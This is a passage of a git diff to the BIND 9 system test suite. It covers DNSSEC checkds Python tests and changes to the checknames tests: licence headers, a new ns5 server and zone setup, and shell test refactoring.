+    keystate_check(parent, zone, "DSRemoved")
+
+    #
+    # 2.2.2: DS is not withdrawn from some parents.
+    # parental-agents: ns2, ns5, ns7
+    #
+    zone = "incomplete.{}.dsremoved.ns2-5-7".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.2".format(zone),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from {}".format(zone, addr),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from 10.53.0.7".format(zone),
+    )
+    keystate_check(parent, zone, "!DSRemoved")
+
+    #
+    # 2.2.3: One parental agent is badly configured.
+    # parental-agents: ns5, ns6, ns7
+    #
+    zone = "bad.{}.dsremoved.ns5-6-7".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from {}".format(zone, addr),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from 10.53.0.7".format(zone),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: bad DS response from 10.53.0.6".format(zone),
+    )
+    keystate_check(parent, zone, "!DSRemoved")
+
+    #
+    # 2.2.4:: DS is removed completely, bogus signature.
+    #
+    # TBD
+
+
+def test_checkds_reference(named_port):
+    # We create resolver instances that will be used to send queries.
+    server = dns.resolver.Resolver()
+    server.nameservers = ["10.53.0.9"]
+    server.port = named_port
+
+    parent = dns.resolver.Resolver()
+    parent.nameservers = ["10.53.0.2"]
+    parent.port = named_port
+
+    # Using a reference to parental-agents.
+    zone = "reference.explicit.dspublish.ns2"
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.8".format(zone),
+    )
+    keystate_check(parent, zone, "DSPublish")
+
+
+def test_checkds_resolver(named_port):
+    # We create resolver instances that will be used to send queries.
+    server = dns.resolver.Resolver()
+    server.nameservers = ["10.53.0.9"]
+    server.port = named_port
+
+    parent = dns.resolver.Resolver()
+    parent.nameservers = ["10.53.0.2"]
+    parent.port = named_port
+
+    # Using a resolver as parental-agent (ns3).
+    zone = "resolver.explicit.dspublish.ns2"
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.3".format(zone),
+    )
+    keystate_check(parent, zone, "DSPublish")
+
+    # Using a resolver as parental-agent (ns3).
+    zone = "resolver.explicit.dsremoved.ns5"
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from 10.53.0.3".format(zone),
+    )
+    keystate_check(parent, zone, "DSRemoved")
+
+
+def test_checkds_no_ent(named_port):
+    # We create resolver instances that will be used to send queries.
+    server = dns.resolver.Resolver()
+    server.nameservers = ["10.53.0.9"]
+    server.port = named_port
+
+    parent = dns.resolver.Resolver()
+    parent.nameservers = ["10.53.0.2"]
+    parent.port = named_port
+
+    zone = "no-ent.ns2"
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.2".format(zone),
+    )
+    keystate_check(parent, zone, "DSPublish")
+
+    zone = "no-ent.ns5"
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.5".format(zone),
+    )
+    keystate_check(parent, zone, "DSRemoved")
+
+
+def test_checkds_dspublished(named_port):
+    checkds_dspublished(named_port, "explicit", "10.53.0.8")
+    checkds_dspublished(named_port, "yes", "10.53.0.2")
+
+
+def test_checkds_dswithdrawn(named_port):
+    checkds_dswithdrawn(named_port, "explicit", "10.53.0.10")
+    checkds_dswithdrawn(named_port, "yes", "10.53.0.5")
+
+
+def test_checkds_no(named_port):
+    # We create resolver instances that will be used to send queries.
+    server = dns.resolver.Resolver()
+    server.nameservers = ["10.53.0.9"]
+    server.port = named_port
+
+    parent = dns.resolver.Resolver()
+    parent.nameservers = ["10.53.0.2"]
+    parent.port = named_port
+
+    zone_check(server, "good.no.dspublish.ns2")
+    keystate_check(parent, "good.no.dspublish.ns2", "!DSPublish")
+
+    zone_check(server, "good.no.dspublish.ns2-4")
+    keystate_check(parent, "good.no.dspublish.ns2-4", "!DSPublish")
+
+    zone_check(server, "good.no.dsremoved.ns5")
+    keystate_check(parent, "good.no.dsremoved.ns5", "!DSRemoved")
+
+    zone_check(server, "good.no.dsremoved.ns5-7")
+    keystate_check(parent, "good.no.dsremoved.ns5-7", "!DSRemoved")
diff --git a/bin/tests/system/checknames/clean.sh b/bin/tests/system/checknames/clean.sh
index 1f439b08db..fcbd504469 100644
--- a/bin/tests/system/checknames/clean.sh
+++ b/bin/tests/system/checknames/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,6 +19,8 @@ rm -f ns1/*.update.db
 rm -f ns1/*.update.db.jnl
 rm -f ns4/*.update.db
 rm -f ns4/*.update.db.jnl
+rm -f ns5/*.update.db
+rm -f ns5/*.update.db.jnl
 rm -f */named.memstats
 rm -f */named.run
 rm -f ns*/named.lock
diff --git a/bin/tests/system/checknames/ns1/fail.example.db.in b/bin/tests/system/checknames/ns1/fail.example.db.in
index a984471212..c4c06c3681 100644
--- a/bin/tests/system/checknames/ns1/fail.example.db.in
+++ b/bin/tests/system/checknames/ns1/fail.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns1/fail.update.db.in b/bin/tests/system/checknames/ns1/fail.update.db.in
index 218f6bc35b..a360cfd5d3 100644
--- a/bin/tests/system/checknames/ns1/fail.update.db.in
+++ b/bin/tests/system/checknames/ns1/fail.update.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns1/ignore.example.db.in b/bin/tests/system/checknames/ns1/ignore.example.db.in
index 050041e2eb..148fa6ab68 100644
--- a/bin/tests/system/checknames/ns1/ignore.example.db.in
+++ b/bin/tests/system/checknames/ns1/ignore.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns1/ignore.update.db.in b/bin/tests/system/checknames/ns1/ignore.update.db.in
index f7864ab322..0925cef3b8 100644
--- a/bin/tests/system/checknames/ns1/ignore.update.db.in
+++ b/bin/tests/system/checknames/ns1/ignore.update.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns1/named.conf.in b/bin/tests/system/checknames/ns1/named.conf.in
index 11ddbc2f26..a6a3a663f4 100644
--- a/bin/tests/system/checknames/ns1/named.conf.in
+++ b/bin/tests/system/checknames/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns1/root.db b/bin/tests/system/checknames/ns1/root.db
index 1a0d44bdc5..bc026a54d1 100644
--- a/bin/tests/system/checknames/ns1/root.db
+++ b/bin/tests/system/checknames/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns1/warn.example.db.in b/bin/tests/system/checknames/ns1/warn.example.db.in
index bc4d1c08fc..7b636fdca1 100644
--- a/bin/tests/system/checknames/ns1/warn.example.db.in
+++ b/bin/tests/system/checknames/ns1/warn.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns1/warn.update.db.in b/bin/tests/system/checknames/ns1/warn.update.db.in
index 1bf280a907..9a9af979a9 100644
--- a/bin/tests/system/checknames/ns1/warn.update.db.in
+++ b/bin/tests/system/checknames/ns1/warn.update.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns2/named.conf.in b/bin/tests/system/checknames/ns2/named.conf.in
index 84699440c8..3ba62e1a8d 100644
--- a/bin/tests/system/checknames/ns2/named.conf.in
+++ b/bin/tests/system/checknames/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns2/root.hints b/bin/tests/system/checknames/ns2/root.hints
index 962d33d9d0..5e89d74e6c 100644
--- a/bin/tests/system/checknames/ns2/root.hints
+++ b/bin/tests/system/checknames/ns2/root.hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns3/named.conf.in b/bin/tests/system/checknames/ns3/named.conf.in
index 00c6836d50..7c0cacb5ae 100644
--- a/bin/tests/system/checknames/ns3/named.conf.in
+++ b/bin/tests/system/checknames/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns3/root.hints b/bin/tests/system/checknames/ns3/root.hints
index 962d33d9d0..5e89d74e6c 100644
--- a/bin/tests/system/checknames/ns3/root.hints
+++ b/bin/tests/system/checknames/ns3/root.hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns4/master-ignore.update.db.in b/bin/tests/system/checknames/ns4/master-ignore.update.db.in
deleted file mode 100644
index f7864ab322..0000000000
--- a/bin/tests/system/checknames/ns4/master-ignore.update.db.in
+++ /dev/null
@@ -1,14 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300
-@	SOA ns1.ignore.update. hostmaster.ignore.update. (
-	    1 3600 1200 604800 3600 )
-	NS  ns1.ignore.update.
-ns1.ignore.update. A 10.53.0.1
diff --git a/bin/tests/system/checknames/ns4/named.conf.in b/bin/tests/system/checknames/ns4/named.conf.in
index 9043dbd381..f0cb87093b 100644
--- a/bin/tests/system/checknames/ns4/named.conf.in
+++ b/bin/tests/system/checknames/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,6 +22,7 @@ options {
 	recursion yes;
 	dnssec-validation yes;
 	check-names primary ignore;
+	check-names secondary ignore;
 	notify yes;
 };
 
@@ -28,8 +31,14 @@ zone "." {
 	file "root.hints";
 };
 
-zone "master-ignore.update" {
+zone "primary-ignore.update" {
 	type primary;
-	file "master-ignore.update.db";
+	file "primary-ignore.update.db";
 	allow-update { any; };
 };
+
+zone "master-ignore.update" {
+	type secondary;
+	primaries { 10.53.0.5; };
+	file "secondary-ignore.update.db";
+};
diff --git a/bin/tests/system/checknames/ns4/primary-ignore.update.db.in b/bin/tests/system/checknames/ns4/primary-ignore.update.db.in
new file mode 100644
index 0000000000..b343cb1ed3
--- /dev/null
+++ b/bin/tests/system/checknames/ns4/primary-ignore.update.db.in
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@	SOA ns4 hostmaster.ignore.update. (
+	    1 3600 1200 604800 3600 )
+	NS  ns4
+	NS  ns5
+ns4	A   10.53.0.4
+ns5	A   10.53.0.5
diff --git a/bin/tests/system/checknames/ns4/root.hints b/bin/tests/system/checknames/ns4/root.hints
index 962d33d9d0..5e89d74e6c 100644
--- a/bin/tests/system/checknames/ns4/root.hints
+++ b/bin/tests/system/checknames/ns4/root.hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checknames/ns5/master-ignore.update.db.in b/bin/tests/system/checknames/ns5/master-ignore.update.db.in
new file mode 100644
index 0000000000..1057248842
--- /dev/null
+++ b/bin/tests/system/checknames/ns5/master-ignore.update.db.in
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@	SOA ns5. hostmaster.ignore.update. (
+	    1 3600 1200 604800 3600 )
+	NS  ns4
+	NS  ns5
+ns4	A   10.53.0.4
+ns5	A   10.53.0.5
diff --git a/bin/tests/system/checknames/ns5/named.conf.in b/bin/tests/system/checknames/ns5/named.conf.in
new file mode 100644
index 0000000000..1797aa1eb2
--- /dev/null
+++ b/bin/tests/system/checknames/ns5/named.conf.in
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.5;
+	notify-source 10.53.0.5;
+	transfer-source 10.53.0.5;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.5; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation yes;
+	check-names master ignore;
+	check-names slave ignore;
+	notify yes;
+};
+
+zone "." {
+	type hint;
+	file "root.hints";
+};
+
+zone "master-ignore.update" {
+	type primary;
+	file "master-ignore.update.db";
+	allow-update { any; };
+};
+
+zone "primary-ignore.update" {
+	type secondary;
+	primaries { 10.53.0.4; };
+	file "primary-ignore.update.db";
+};
diff --git a/bin/tests/system/checknames/ns5/root.hints b/bin/tests/system/checknames/ns5/root.hints
new file mode 100644
index 0000000000..5e89d74e6c
--- /dev/null
+++ b/bin/tests/system/checknames/ns5/root.hints
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+. NS  ns1.
+ns1. A 10.53.0.1
diff --git a/bin/tests/system/checknames/setup.sh b/bin/tests/system/checknames/setup.sh
index ce5a04d237..d80e746223 100644
--- a/bin/tests/system/checknames/setup.sh
+++ b/bin/tests/system/checknames/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,6 +19,7 @@ copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
 copy_setports ns4/named.conf.in ns4/named.conf
+copy_setports ns5/named.conf.in ns5/named.conf
 
 cp ns1/ignore.example.db.in ns1/ignore.example.db
 cp ns1/warn.example.db.in ns1/warn.example.db
@@ -24,4 +29,6 @@ cp ns1/ignore.update.db.in ns1/ignore.update.db
 cp ns1/warn.update.db.in ns1/warn.update.db
 cp ns1/fail.update.db.in ns1/fail.update.db
 
-cp ns4/master-ignore.update.db.in ns4/master-ignore.update.db
+cp ns4/primary-ignore.update.db.in ns4/primary-ignore.update.db
+
+cp ns5/master-ignore.update.db.in ns5/master-ignore.update.db
diff --git a/bin/tests/system/checknames/tests.sh b/bin/tests/system/checknames/tests.sh
index 9b48da3147..47ba8013fe 100644
--- a/bin/tests/system/checknames/tests.sh
+++ b/bin/tests/system/checknames/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -16,6 +20,12 @@ n=1
 
 DIGOPTS="+tcp +noadd +nosea +nostat +nocmd -p ${PORT}"
 
+wait_for_record () {
+	$DIG $DIGOPTS "$1" "$2" "$3" > "$4" || return 1
+	grep NOERROR "$4" > /dev/null || return 1
+	return 0
+}
+
 # Entry should exist.
 echo_i "check for failure from on zone load for 'check-names fail;' ($n)"
 ret=0
@@ -23,24 +33,24 @@ $DIG $DIGOPTS fail.example. @10.53.0.1 a > dig.out.ns1.test$n || ret=1
 grep SERVFAIL dig.out.ns1.test$n > /dev/null || ret=1
 grep 'xx_xx.fail.example: bad owner name (check-names)' ns1/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 # Entry should exist.
 echo_i "check for warnings from on zone load for 'check-names warn;' ($n)"
 ret=0
 grep 'xx_xx.warn.example: bad owner name (check-names)' ns1/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 # Entry should not exist.
 echo_i "check for warnings from on zone load for 'check-names ignore;' ($n)"
 ret=1
 grep 'yy_yy.ignore.example: bad owner name (check-names)' ns1/named.run || ret=0
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 # Entry should exist
 echo_i "check that 'check-names response warn;' works ($n)"
@@ -50,8 +60,8 @@ $DIG $DIGOPTS +noauth yy_yy.ignore.example. @10.53.0.2 a > dig.out.ns2.test$n ||
 digcomp dig.out.ns1.test$n dig.out.ns2.test$n || ret=1
 grep "check-names warning yy_yy.ignore.example/A/IN" ns2/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 # Entry should exist
 echo_i "check that 'check-names response (owner) fails;' works ($n)"
@@ -62,8 +72,8 @@ grep NOERROR dig.out.ns1.test$n > /dev/null || ret=1
 grep REFUSED dig.out.ns3.test$n > /dev/null || ret=1
 grep "check-names failure yy_yy.ignore.example/A/IN" ns3/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 # Entry should exist
 echo_i "check that 'check-names response (rdata) fails;' works ($n)"
@@ -74,8 +84,8 @@ grep NOERROR dig.out.ns1.test$n > /dev/null || ret=1
 grep SERVFAIL dig.out.ns3.test$n > /dev/null || ret=1
 grep "check-names failure mx.ignore.example/MX/IN" ns3/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "check that updates to 'check-names fail;' are rejected ($n)"
 ret=0
@@ -91,8 +101,8 @@ $DIG $DIGOPTS xxx_xxx.fail.update @10.53.0.1 A > dig.out.ns1.test$n || ret=1
 grep "xxx_xxx.fail.update/A: bad owner name (check-names)" ns1/named.run > /dev/null || ret=1
 grep NXDOMAIN dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "check that updates to 'check-names warn;' succeed and are logged ($n)"
 ret=0
@@ -106,8 +116,8 @@ $DIG $DIGOPTS xxx_xxx.warn.update @10.53.0.1 A > dig.out.ns1.test$n || ret=1
 grep "xxx_xxx.warn.update/A: bad owner name (check-names)" ns1/named.run > /dev/null || ret=1
 grep NOERROR dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "check that updates to 'check-names ignore;' succeed and are not logged ($n)"
 ret=0
@@ -123,8 +133,8 @@ if [ $not != 0 ]; then ret=1; fi
 $DIG $DIGOPTS xxx_xxx.ignore.update @10.53.0.1 A > dig.out.ns1.test$n || ret=1
 grep NOERROR dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "check that updates to 'check-names primary ignore;' succeed and are not logged ($n)"
 ret=0
@@ -132,16 +142,51 @@ not=1
 $NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 || ret=1
 check-names off
 server 10.53.0.4 ${PORT}
-update add xxx_xxx.master-ignore.update. 600 A 10.10.10.1
+update add xxx_xxx.primary-ignore.update. 600 A 10.10.10.1
 send
 END
-grep "xxx_xxx.master-ignore.update/A.*(check-names)" ns1/named.run > /dev/null || not=0
+grep "xxx_xxx.primary-ignore.update/A.*(check-names)" ns4/named.run > /dev/null || not=0
 if [ $not != 0 ]; then ret=1; fi
-$DIG $DIGOPTS xxx_xxx.master-ignore.update @10.53.0.4 A > dig.out.ns4.test$n || ret=1
+$DIG $DIGOPTS xxx_xxx.primary-ignore.update @10.53.0.4 A > dig.out.ns4.test$n || ret=1
 grep NOERROR dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "check that updates to 'check-names master ignore;' succeed and are not logged ($n)"
+ret=0
+not=1
+$NSUPDATE -d <<END > nsupdate.out.test$n 2>&1 || ret=1
+check-names off
+server 10.53.0.5 ${PORT}
+update add xxx_xxx.master-ignore.update. 600 A 10.10.10.1
+send
+END
